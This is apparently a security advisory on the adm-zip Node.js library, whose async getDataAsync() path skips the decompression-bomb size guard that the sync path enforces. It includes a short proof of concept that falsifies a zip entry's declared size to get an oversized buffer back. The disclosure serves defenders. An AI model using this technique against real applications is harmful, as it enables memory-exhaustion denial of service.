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GHSA-c6fg-446q-cg94
Summary
adm-zip enforces a maxOutputLength guard against decompression bombs on its synchronous getData() path, but the equivalent asynchronous getDataAsync() path does not enforce it — it accumulates and returns the entire decompressed output regardless of the entry's declared size. An application that checks an entry's declared size before deciding to process it, then reads the entry via getDataAsync() (a completely ordinary, often-recommended choice for I/O in Node.js), gets none of the protection it believes it has.
Details
methods/inflater.js:3-10passes{maxOutputLength: expectedLength}toinflateRawSync, which Node enforces.methods/inflater.js:12-31passes the same option tocreateInflateRawbut never enforces it on the streaming path — it just accumulates every chunk and allocates a final Buffer of whatever size resulted.
PoC
const AdmZip = require('adm-zip');
const zip = new AdmZip();
zip.addFile('p', Buffer.alloc(64 * 1024 * 1024, 0x41)); // 64 MiB
const raw = Buffer.from(zip.toBuffer());
// patch the local + central declared uncompressed size to 1 byte
raw.writeUInt32LE(1, localHeaderSizeOffset);
raw.writeUInt32LE(1, centralHeaderSizeOffset);
const entry = new AdmZip(raw).getEntry('p');
entry.getData();
// throws: ERR_BUFFER_TOO_LARGE: Cannot create a Buffer larger than 1 bytes
entry.getDataAsync((data, error) => { ... });
// returns the full 67,108,864-byte buffer, error is undefined
Impact
An application that validates a declared size before reading an entry, then uses the async API, gets no protection against a high-ratio DEFLATE payload. Repeated or larger requests could contribute to memory exhaustion.
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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